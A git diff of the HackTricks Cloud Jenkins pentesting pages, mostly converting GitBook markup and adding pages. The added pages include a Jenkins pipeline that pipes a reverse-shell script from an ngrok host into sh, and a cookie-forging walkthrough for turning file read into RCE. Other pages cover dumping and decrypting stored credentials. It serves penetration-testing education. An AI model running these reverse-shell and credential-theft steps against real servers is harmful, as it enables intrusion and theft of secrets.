-{% embed url="https://github.com/gquere/pwn_jenkins" %}
+{{#ref}}
+https://github.com/gquere/pwn_jenkins
+{{#endref}}
 
 ## Login
 
 In the basic information you can check **all the ways to login inside Jenkins**:
 
-{% content-ref url="basic-jenkins-information.md" %}
-[basic-jenkins-information.md](basic-jenkins-information.md)
-{% endcontent-ref %}
+{{#ref}}
+basic-jenkins-information.md
+{{#endref}}
 
 ### Register
 
@@ -87,15 +76,14 @@ Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-ab
 
 In these scenarios we are going to suppose you have a valid account to access Jenkins.
 
-{% hint style="warning" %}
-Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
-{% endhint %}
+> [!WARNING]
+> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
 
 For more information check the basic information:
 
-{% content-ref url="basic-jenkins-information.md" %}
-[basic-jenkins-information.md](basic-jenkins-information.md)
-{% endcontent-ref %}
+{{#ref}}
+basic-jenkins-information.md
+{{#endref}}
 
 ### Listing users
 
@@ -115,7 +103,7 @@ gitleaks detect --no-git -v
 
 If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
 
-![](<../../.gitbook/assets/image (218).png>)
+![](<../../images/image (218).png>)
 
 You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets).
 
@@ -129,25 +117,25 @@ By default, Jenkins will **run as SYSTEM**. So, compromising it will give the at
 
 Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
 
-{% content-ref url="jenkins-rce-creating-modifying-project.md" %}
-[jenkins-rce-creating-modifying-project.md](jenkins-rce-creating-modifying-project.md)
-{% endcontent-ref %}
+{{#ref}}
+jenkins-rce-creating-modifying-project.md
+{{#endref}}
 
 ### **RCE Execute Groovy script**
 
 You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
 
-{% content-ref url="jenkins-rce-with-groovy-script.md" %}
-[jenkins-rce-with-groovy-script.md](jenkins-rce-with-groovy-script.md)
-{% endcontent-ref %}
+{{#ref}}
+jenkins-rce-with-groovy-script.md
+{{#endref}}
 
 ### RCE Creating/Modifying Pipeline
 
 You can also get **RCE by creating/modifying a pipeline**:
 
-{% content-ref url="jenkins-rce-creating-modifying-pipeline.md" %}
-[jenkins-rce-creating-modifying-pipeline.md](jenkins-rce-creating-modifying-pipeline.md)
-{% endcontent-ref %}
+{{#ref}}
+jenkins-rce-creating-modifying-pipeline.md
+{{#endref}}
 
 ## Pipeline Exploitation
 
@@ -157,7 +145,7 @@ To exploit pipelines you still need to have access to Jenkins.
 
 **Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
 
-![](<../../.gitbook/assets/image (127).png>)
+![](<../../images/image (127).png>)
 
 It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
 
@@ -166,13 +154,12 @@ It's possible that the attacker will need to **bypass some branch protections**
 
 The most common triggers to execute a custom pipeline are:
 
-* **Pull request** to the main branch (or potentially to other branches)
-* **Push to the main branch** (or potentially to other branches)
-* **Update the main branch** and wait until it's executed somehow
+- **Pull request** to the main branch (or potentially to other branches)
+- **Push to the main branch** (or potentially to other branches)
+- **Update the main branch** and wait until it's executed somehow
 
-{% hint style="info" %}
-If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
-{% endhint %}
+> [!NOTE]
+> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
 
 ### Pipeline RCE
 
@@ -201,9 +188,9 @@ pipeline {
 
 For information about how are secrets usually treated by Jenkins check out the basic information:
 
-{% content-ref url="basic-jenkins-information.md" %}
-[basic-jenkins-information.md](basic-jenkins-information.md)
-{% endcontent-ref %}
+{{#ref}}
+basic-jenkins-information.md
+{{#endref}}
 
 Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
 
@@ -225,7 +212,7 @@ withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USE
 withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
     sh '''
         env #Search for SECRET
-    '''                 
+    '''
 }
 
 withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
@@ -245,10 +232,9 @@ withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'US
 
 At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
 
-{% hint style="warning" %}
-The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
-More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
-{% endhint %}
+> [!WARNING]
+> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
+> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
 
 ### Triggers
 
@@ -268,13 +254,13 @@ A **Jenkins instance** might have **different agents running in different machin
 
 For more information check the basic information:
 
-{% content-ref url="basic-jenkins-information.md" %}
-[basic-jenkins-information.md](basic-jenkins-information.md)
-{% endcontent-ref %}
+{{#ref}}
+basic-jenkins-information.md
+{{#endref}}
 
 You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
 
-![](<../../.gitbook/assets/image (249).png>)
+![](<../../images/image (249).png>)
 
 It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
 
@@ -312,8 +298,8 @@ pipeline {
         }
     }
 
-    post { 
-        always { 
+    post {
+        always {
             cleanWs()
         }
     }
@@ -322,23 +308,23 @@ pipeline {
 
 ## Arbitrary File Read to RCE
 
-{% content-ref url="jenkins-arbitrary-file-read-to-rce-via-remember-me.md" %}
-[jenkins-arbitrary-file-read-to-rce-via-remember-me.md](jenkins-arbitrary-file-read-to-rce-via-remember-me.md)
-{% endcontent-ref %}
+{{#ref}}
+jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+{{#endref}}
 
 ## RCE
 
-{% content-ref url="jenkins-rce-with-groovy-script.md" %}
-[jenkins-rce-with-groovy-script.md](jenkins-rce-with-groovy-script.md)
-{% endcontent-ref %}
+{{#ref}}
+jenkins-rce-with-groovy-script.md
+{{#endref}}
 
-{% content-ref url="jenkins-rce-creating-modifying-project.md" %}
-[jenkins-rce-creating-modifying-project.md](jenkins-rce-creating-modifying-project.md)
-{% endcontent-ref %}
+{{#ref}}
+jenkins-rce-creating-modifying-project.md
+{{#endref}}
 
-{% content-ref url="jenkins-rce-creating-modifying-pipeline.md" %}
-[jenkins-rce-creating-modifying-pipeline.md](jenkins-rce-creating-modifying-pipeline.md)
-{% endcontent-ref %}
+{{#ref}}
+jenkins-rce-creating-modifying-pipeline.md
+{{#endref}}
 
 ## Post Exploitation
 
@@ -354,26 +340,26 @@ You can list the secrets accessing `/credentials/` if you have enough permission
 
 If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
 
-![](<../../.gitbook/assets/image (180).png>)
+![](<../../images/image (180).png>)
 
 #### From Groovy
 
-{% content-ref url="jenkins-dumping-secrets-from-groovy.md" %}
-[jenkins-dumping-secrets-from-groovy.md](jenkins-dumping-secrets-from-groovy.md)
-{% endcontent-ref %}
+{{#ref}}
+jenkins-dumping-secrets-from-groovy.md
+{{#endref}}
 
 #### From disk
 
 These files are needed to **decrypt Jenkins secrets**:
 
-* secrets/master.key
-* secrets/hudson.util.Secret
+- secrets/master.key
+- secrets/hudson.util.Secret
 
 Such **secrets can usually be found in**:
 
-* credentials.xml
-* jobs/.../build.xml
-* jobs/.../config.xml
+- credentials.xml
+- jobs/.../build.xml
+- jobs/.../config.xml
 
 Here's a regex to find them:
 
@@ -416,24 +402,11 @@ println(hudson.util.Secret.decrypt("{...}"))
 
 ## References
 
-* [https://github.com/gquere/pwn\_jenkins](https://github.com/gquere/pwn_jenkins)
-* [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
-* [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password)
-* [https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html](https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html)
-* [https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072](https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072)
-* [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
+- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
+- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
+- [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password)
+- [https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html](https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html)
+- [https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072](https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072)
+- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
similarity index 63%
rename from pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
rename to src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index 43612a6e6..690b8b314 100644
--- a/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -1,19 +1,6 @@
 # Basic Jenkins Information
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Access
 
@@ -41,30 +28,30 @@ This component provides a built-in SSH server for Jenkins. It’s an alternative
 
 In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
 
-* **Anyone can do anything**: Even anonymous access can administrate the server
-* **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
-* **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
-* **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
+- **Anyone can do anything**: Even anonymous access can administrate the server
+- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
+- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
+- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
 
-![](<../../.gitbook/assets/image (149).png>)
+![](<../../images/image (149).png>)
 
-* **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
-* **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
+- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
+- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
 
 ## **Security Realm**
 
 In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
 
-* **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
-* **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
-* **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
-* **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
+- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
+- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
+- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
+- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
 
 Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
 
-* [Active Directory](https://plugins.jenkins.io/active-directory)
-* [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
-* [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
+- [Active Directory](https://plugins.jenkins.io/active-directory)
+- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
+- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
 
 ## Jenkins Nodes, Agents & Executors
 
@@ -82,9 +69,9 @@ An **executor** is a **slot for execution of tasks**; effectively, it is **a thr
 
 Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
 
-* `hudson.util.Secret`: used for generic secrets;
-* `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
-* `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
+- `hudson.util.Secret`: used for generic secrets;
+- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
+- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
 
 ### Credentials Access
 
@@ -96,25 +83,12 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
 
 ## References
 
-* [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
-* [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
-* [https://www.jenkins.io/doc/developer/security/secrets/](https://www.jenkins.io/doc/developer/security/secrets/)
-* [https://www.jenkins.io/blog/2019/02/21/credentials-masking/](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)
-* [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
-* [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
-* [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
+- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
+- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
+- [https://www.jenkins.io/doc/developer/security/secrets/](https://www.jenkins.io/doc/developer/security/secrets/)
+- [https://www.jenkins.io/blog/2019/02/21/credentials-masking/](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)
+- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
+- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
+- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
new file mode 100644
index 000000000..1839878a1
--- /dev/null
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -0,0 +1,105 @@
+# Jenkins Arbitrary File Read to RCE via "Remember Me"
+
+{{#include ../../banners/hacktricks-training.md}}
+
+In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
+
+This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
+
+### Attack Prerequisites
+
+- **Feature Requirement:** "Remember me" must be enabled (default setting).
+- **Access Levels:** Attacker needs Overall/Read permissions.
+- **Secret Access:** Ability to read both binary and textual content from key files.
+
+### Detailed Exploitation Process
+
+#### Step 1: Data Collection
+
+**User Information Retrieval**
+
+- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
+  - **Username**
+  - **User seed**
+  - **Timestamp**
+  - **Password hash**
+
+**Secret Key Extraction**
+
+- Extract cryptographic keys used for signing the cookie:
+  - **Secret Key:** `$JENKINS_HOME/secret.key`
+  - **Master Key:** `$JENKINS_HOME/secrets/master.key`
+  - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
+
+#### Step 2: Cookie Forging
+
+**Token Preparation**
+
+- **Calculate Token Expiry Time:**
+
+  ```javascript
+  tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
+  ```
+
+- **Concatenate Data for Token:**
+
+  ```javascript
+  token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
+  ```
+
+**MAC Key Decryption**
+
+- **Decrypt MAC Key File:**
+
+  ```javascript
+  key = toAes128Key(masterKey)  // Convert master key to AES128 key format
+  decrypted = AES.decrypt(macFile, key)  // Decrypt the .mac file
+  if not decrypted.hasSuffix("::::MAGIC::::")
+      return ERROR;
+  macKey = decrypted.withoutSuffix("::::MAGIC::::")
+  ```
+
+**Signature Computation**
+
+- **Compute HMAC SHA256:**
+
+  ```javascript
+  mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
+  tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
+  ```
+
+**Cookie Encoding**
+
+- **Generate Final Cookie:**
+
+  ```javascript
+  cookie = base64.encode(
+    username + ":" + tokenExpiryTime + ":" + tokenSignature
+  ) // Base64 encode the cookie data
+  ```
+
+#### Step 3: Code Execution
+
+**Session Authentication**
+
+- **Fetch CSRF and Session Tokens:**
+  - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
+  - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
+
+**Command Execution Request**
+
+- **Send a POST Request with Groovy Script:**
+
+  ```bash
+  curl -X POST "$JENKINS_URL/scriptText" \
+  --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
+  --header "Jenkins-Crumb: $CRUMB" \
+  --header "Content-Type: application/x-www-form-urlencoded" \
+  --data-urlencode "script=$SCRIPT"
+  ```
+
+  - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
+
+The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
similarity index 52%
rename from pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
rename to src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index 1d1b94715..035e24e4f 100644
--- a/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -1,23 +1,9 @@
 # Jenkins Dumping Secrets from Groovy
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+{{#include ../../banners/hacktricks-training.md}}
 
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-{% hint style="warning" %}
-Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
-{% endhint %}
+> [!WARNING]
+> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
 
 You can **dump all the secrets from the Groovy Script console** in `/script` running this code
 
@@ -100,17 +86,4 @@ for (c in creds) {
 }
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
new file mode 100644
index 000000000..f34e83a69
--- /dev/null
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -0,0 +1,39 @@
+# Jenkins RCE Creating/Modifying Pipeline
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Creating a new Pipeline
+
+In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
+
+![](<../../images/image (235).png>)
+
+In the **Pipeline section** write the **reverse shell**:
+
+![](<../../images/image (285).png>)
+
+```groovy
+pipeline {
+    agent any
+
+    stages {
+        stage('Hello') {
+            steps {
+                sh '''
+                    curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
+                '''
+            }
+        }
+    }
+}
+```
+
+Finally click on **Save**, and **Build Now** and the pipeline will be executed:
+
+![](<../../images/image (228).png>)
+
+## Modifying a Pipeline
+
+If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
new file mode 100644
index 000000000..6afbea340
